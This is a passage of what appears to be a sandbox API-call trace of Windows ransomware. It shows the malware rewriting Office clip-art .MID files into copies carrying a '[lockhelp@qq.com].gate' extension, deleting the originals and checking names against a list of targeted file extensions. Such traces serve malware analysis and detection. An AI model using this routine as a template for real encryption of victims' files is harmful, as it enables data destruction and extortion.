lpFileSize=0x377ff14*=4846) returned 1 [0299.567] CloseHandle (hObject=0x4b0) returned 1 [0299.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 0x220 [0299.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0299.567] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.567] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0299.568] GetLastError () returned 0x0 [0299.568] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x12ee, lpOverlapped=0x0) returned 1 [0299.781] WriteFile (in: hFile=0x4e8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x12f0, lpOverlapped=0x0) returned 1 [0299.782] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.782] WriteFile (in: hFile=0x4e8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xea, lpOverlapped=0x0) returned 1 [0299.782] SetEndOfFile (hFile=0x4e8) returned 1 [0299.782] CloseHandle (hObject=0x4e8) returned 1 [0299.782] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.782] SetEndOfFile (hFile=0x4b0) returned 1 [0299.785] CloseHandle (hObject=0x4b0) returned 1 [0299.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.798] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 1 [0299.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0299.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0299.799] lstrlenW (lpString=".doc") returned 4 [0299.799] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.799] lstrlenW (lpString=".docx") returned 5 [0299.799] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.799] lstrlenW (lpString=".pdf") returned 4 [0299.799] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.799] lstrlenW (lpString=".xls") returned 4 [0299.799] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.800] lstrlenW (lpString=".xlsx") returned 5 [0299.800] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.800] lstrlenW (lpString=".ppt") returned 4 [0299.800] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0299.800] lstrlenW (lpString=".zip") returned 4 [0299.800] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.800] lstrlenW (lpString=".rar") returned 4 [0299.800] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.800] lstrlenW (lpString=".bz2") returned 4 [0299.800] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.800] lstrlenW (lpString=".7z") returned 3 [0299.800] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0299.800] lstrlenW (lpString=".dbf") returned 4 [0299.800] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0299.800] lstrlenW (lpString=".1cd") returned 4 [0299.800] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0299.800] lstrlenW (lpString=".jpg") returned 4 [0299.800] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0299.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0299.800] lstrlenW (lpString=".doc") returned 4 [0299.800] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.800] lstrlenW (lpString=".docx") returned 5 [0299.800] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.800] lstrlenW (lpString=".pdf") returned 4 [0299.800] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.800] lstrlenW (lpString=".xls") returned 4 [0299.800] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.800] lstrlenW (lpString=".xlsx") returned 5 [0299.801] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.801] lstrlenW (lpString=".ppt") returned 4 [0299.801] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0299.801] lstrlenW (lpString=".zip") returned 4 [0299.801] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.801] lstrlenW (lpString=".rar") returned 4 [0299.801] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.801] lstrlenW (lpString=".bz2") returned 4 [0299.801] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.801] lstrlenW (lpString=".7z") returned 3 [0299.801] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0299.801] lstrlenW (lpString=".dbf") returned 4 [0299.801] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0299.801] lstrlenW (lpString=".1cd") returned 4 [0299.801] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0299.801] lstrlenW (lpString=".jpg") returned 4 [0299.801] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.801] lstrcmpiW (lpString1=".MID", lpString2=".gate") returned 1 [0299.801] lstrlenW (lpString="JAVA_01.MID") returned 11 [0299.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0299.802] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=9797) returned 1 [0299.802] CloseHandle (hObject=0x4f0) returned 1 [0299.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 0x220 [0299.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0299.803] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.803] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0299.803] GetLastError () returned 0x0 [0299.803] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x2645, lpOverlapped=0x0) returned 1 [0299.853] WriteFile (in: hFile=0x550, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x2650, lpOverlapped=0x0) returned 1 [0299.854] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.854] WriteFile (in: hFile=0x550, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xea, lpOverlapped=0x0) returned 1 [0299.854] SetEndOfFile (hFile=0x550) returned 1 [0299.854] CloseHandle (hObject=0x550) returned 1 [0299.854] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.854] SetEndOfFile (hFile=0x4f0) returned 1 [0299.856] CloseHandle (hObject=0x4f0) returned 1 [0299.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 1 [0299.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0299.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0299.912] lstrlenW (lpString=".doc") returned 4 [0299.912] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.912] lstrlenW (lpString=".docx") returned 5 [0299.912] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.912] lstrlenW (lpString=".pdf") returned 4 [0299.912] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.912] lstrlenW (lpString=".xls") returned 4 [0299.912] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.912] lstrlenW (lpString=".xlsx") returned 5 [0299.912] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.912] lstrlenW (lpString=".ppt") returned 4 [0299.912] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0299.912] lstrlenW (lpString=".zip") returned 4 [0299.912] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.912] lstrlenW (lpString=".rar") returned 4 [0299.912] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.912] lstrlenW (lpString=".bz2") returned 4 [0299.913] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.913] lstrlenW (lpString=".7z") returned 3 [0299.913] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0299.913] lstrlenW (lpString=".dbf") returned 4 [0299.913] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0299.913] lstrlenW (lpString=".1cd") returned 4 [0299.913] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0299.913] lstrlenW (lpString=".jpg") returned 4 [0299.913] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0299.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0299.913] lstrlenW (lpString=".doc") returned 4 [0299.913] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.913] lstrlenW (lpString=".docx") returned 5 [0299.913] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.913] lstrlenW (lpString=".pdf") returned 4 [0299.913] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.913] lstrlenW (lpString=".xls") returned 4 [0299.913] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.913] lstrlenW (lpString=".xlsx") returned 5 [0299.913] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.913] lstrlenW (lpString=".ppt") returned 4 [0299.913] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0299.913] lstrlenW (lpString=".zip") returned 4 [0299.913] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.913] lstrlenW (lpString=".rar") returned 4 [0299.913] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.913] lstrlenW (lpString=".bz2") returned 4 [0299.913] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.913] lstrlenW (lpString=".7z") returned 3 [0299.914] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0299.914] lstrlenW (lpString=".dbf") returned 4 [0299.914] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0299.914] lstrlenW (lpString=".1cd") returned 4 [0299.914] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0299.914] lstrlenW (lpString=".jpg") returned 4 [0299.914] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.914] lstrcmpiW (lpString1=".MID", lpString2=".gate") returned 1 [0299.914] lstrlenW (lpString="OCEAN_01.MID") returned 12 [0299.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0299.914] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=5440) returned 1 [0299.914] CloseHandle (hObject=0x538) returned 1 [0299.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 0x220 [0299.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0299.915] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.915] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0299.916] GetLastError () returned 0x0 [0299.916] ReadFile (in: hFile=0x538, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x1540, lpOverlapped=0x0) returned 1 [0300.045] WriteFile (in: hFile=0x50c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x1550, lpOverlapped=0x0) returned 1 [0300.151] ReadFile (in: hFile=0x538, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.151] WriteFile (in: hFile=0x50c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.151] SetEndOfFile (hFile=0x50c) returned 1 [0300.151] CloseHandle (hObject=0x50c) returned 1 [0300.151] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.151] SetEndOfFile (hFile=0x538) returned 1 [0300.153] CloseHandle (hObject=0x538) returned 1 [0300.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0300.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 1 [0300.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0300.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0300.154] lstrlenW (lpString=".doc") returned 4 [0300.154] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0300.154] lstrlenW (lpString=".docx") returned 5 [0300.154] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0300.154] lstrlenW (lpString=".pdf") returned 4 [0300.154] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0300.154] lstrlenW (lpString=".xls") returned 4 [0300.154] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0300.154] lstrlenW (lpString=".xlsx") returned 5 [0300.154] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0300.154] lstrlenW (lpString=".ppt") returned 4 [0300.154] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0300.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0300.155] lstrlenW (lpString=".zip") returned 4 [0300.155] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0300.155] lstrlenW (lpString=".rar") returned 4 [0300.155] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0300.155] lstrlenW (lpString=".bz2") returned 4 [0300.155] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0300.155] lstrlenW (lpString=".7z") returned 3 [0300.155] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0300.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0300.155] lstrlenW (lpString=".dbf") returned 4 [0300.155] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0300.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0300.155] lstrlenW (lpString=".1cd") returned 4 [0300.155] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0300.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0300.155] lstrlenW (lpString=".jpg") returned 4 [0300.155] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0300.170] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=6763) returned 1 [0300.170] CloseHandle (hObject=0x4c0) returned 1 [0300.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 0x220 [0300.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0300.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0300.664] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.664] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0300.665] GetLastError () returned 0x0 [0300.665] ReadFile (in: hFile=0x4c0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x1a6b, lpOverlapped=0x0) returned 1 [0300.699] WriteFile (in: hFile=0x528, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0300.700] ReadFile (in: hFile=0x4c0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.700] WriteFile (in: hFile=0x528, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.700] SetEndOfFile (hFile=0x528) returned 1 [0300.700] CloseHandle (hObject=0x528) returned 1 [0300.700] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.701] SetEndOfFile (hFile=0x4c0) returned 1 [0300.703] CloseHandle (hObject=0x4c0) returned 1 [0300.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0300.703] DeleteFileW 